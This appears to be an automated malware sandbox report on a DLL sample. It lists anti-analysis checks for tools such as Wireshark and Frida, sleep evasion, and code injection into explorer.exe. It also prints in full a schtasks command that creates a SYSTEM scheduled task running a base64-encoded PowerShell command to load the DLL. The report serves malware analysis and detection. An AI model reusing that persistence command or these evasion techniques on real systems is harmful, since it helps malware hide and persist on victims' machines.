Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSANALYZER.EXEH
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.766189810.0000000003E05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-64.EXE
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXEQ
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXEP
Source: explorer.exe, 00000019.00000002.766189810.0000000003E05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-64.EXEM
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: IMPORTREC.EXE
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE{
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXEZ
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXEM
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXE
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXEW
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXEC
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-64.EXEW
Source: explorer.exe, 00000019.00000002.766189810.0000000003E05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXE\|
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXEE
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXEW
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SYSANALYZER.EXE
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXE\|
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXE
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROCMON.EXE
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.766189810.0000000003E05000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXE
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXEP
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SNIFF_HIT.EXEY
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXEV
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FILEMON.EXEW
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PETOOLS.EXE
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: TCPDUMP.EXE
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SNIFF_HIT.EXE
Source: explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SNIFF_HIT.EXEN
Source: explorer.exe, 00000019.00000002.766163463.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: PROC_ANALYZER.EXE
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WINDUMP.EXEW
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: FRIDA-WINJECTOR-HELPER-32.EXEV
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DUMPCAP.EXE
Source: explorer.exe, 00000019.00000003.395367126.0000000003DFF000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.766149295.0000000003D80000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: WIRESHARK.EXE

Contains functionality to detect sleep reduction / modifications

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B4047C		0_2_00B4047C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00A0047C		2_2_00A0047C

Source: C:\Windows\SysWOW64\explorer.exe TID: 6488	Thread sleep time: -129000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6620	Thread sleep count: 1747 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6620	Thread sleep count: 2015 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6588	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6640	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe TID: 6808	Thread sleep count: 109 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 7024	Thread sleep count: 105 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe TID: 7024	Thread sleep time: -105000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 916	Thread sleep count: 1529 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5840	Thread sleep count: 266 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5832	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Window / User API: threadDelayed 829	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1747	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2015	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1529	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	API coverage: 6.1 %
Source: C:\Windows\SysWOW64\rundll32.exe	API coverage: 5.7 %

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B4047C		0_2_00B4047C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_00A0047C		2_2_00A0047C

Source: C:\Windows\System32\loaddll32.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00B3596C GetSystemInfo,

0_2_00B3596C

Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B15A3C GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	0_2_00B15A3C
Source: C:\Windows\System32\loaddll32.exe	Code function: 0_2_00B18F90 FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,	0_2_00B18F90
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_009D5A3C GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,	2_2_009D5A3C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_009D8F90 FindFirstFileA,FindClose,FileTimeToLocalFileTime,FileTimeToDosDateTime,	2_2_009D8F90

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	API call chain: ExitProcess graph end node	graph_0-14780
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_2-15769
Source: C:\Windows\SysWOW64\rundll32.exe	API call chain: ExitProcess graph end node	graph_2-15869

Source: C:\Windows\System32\loaddll32.exe

0_2_00B3BDCC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Memory protected: page write copy | page execute and write copy | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Maps a DLL or memory area into another process

Source: C:\Windows\System32\loaddll32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: unknown target: C:\Windows\SysWOW64\explorer.exe protection: execute and read and write			Jump to behavior

Writes to foreign memory regions

Source: C:\Windows\System32\loaddll32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 3260000	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 38F380	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 2FE0000	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: C:\Windows\SysWOW64\explorer.exe base: 38F380	Jump to behavior

Encrypted powershell cmdline option found

Source: unknown	Process created: Base64 decoded regsvr32.exe "C:\Users\jones\Desktop\C.dll"
Source: unknown	Process created: Base64 decoded regsvr32.exe "C:\Users\jones\Desktop\C.dll"

Allocates memory in foreign processes

Source: C:\Windows\System32\loaddll32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: 3260000 protect: page read and write			Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: C:\Windows\SysWOW64\explorer.exe base: 2FE0000 protect: page read and write			Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\System32\loaddll32.exe	Memory written: PID: 812 base: 3260000 value: 9C	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Memory written: PID: 812 base: 38F380 value: E9	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 6812 base: 2FE0000 value: 9C	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory written: PID: 6812 base: 38F380 value: E9	Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 17:57 /tn qsrshyj /ET 18:08 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=" /SC ONCE
Source: C:\Windows\SysWOW64\explorer.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\system32\schtasks.exe" /Create /RU "NT AUTHORITY\SYSTEM" /Z /ST 17:57 /tn qsrshyj /ET 18:08 /tr "powershell.exe -encodedCommand cgBlAGcAcwB2AHIAMwAyAC4AZQB4AGUAIAAiAEMAOgBcAFUAcwBlAHIAcwBcAGoAbwBuAGUAcwBcAEQAZQBzAGsAdABvAHAAXABDAC4AZABsAGwAIgA=" /SC ONCE			Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\C.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" C:\Users\user\Desktop\C.dll	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation	Jump to behavior

Source: C:\Windows\System32\loaddll32.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	0_2_00B15BF4
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,GetACP,	0_2_00B1D024
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,	0_2_00B1BA08
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,	0_2_00B1BA54
Source: C:\Windows\System32\loaddll32.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	0_2_00B15D00
Source: C:\Windows\System32\loaddll32.exe	Code function: GetLocaleInfoA,	0_2_00B16508
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetModuleFileNameA,RegOpenKeyExA,RegOpenKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,RegCloseKey,lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	2_2_009D5BF4
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,GetACP,	2_2_009DD024
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	2_2_009DBA08
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	2_2_009DBA54
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: GetLocaleInfoA,	2_2_009D6508
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: lstrcpyn,GetThreadLocale,GetLocaleInfoA,lstrlen,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,lstrcpyn,LoadLibraryExA,	2_2_009D5D00

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00B1A4C0 GetLocalTime,

0_2_00B1A4C0

Source: C:\Windows\System32\loaddll32.exe

Code function: 0_2_00B1C9CC GetVersionExA,

0_2_00B1C9CC

Source: loaddll32.exe, 00000000.00000003.276518369.0000000002CAF000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000000.281761673.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000002.00000003.277505237.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: bdagent.exe
Source: rundll32.exe, 00000002.00000000.281761673.0000000004B7F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: cmdagent.exe
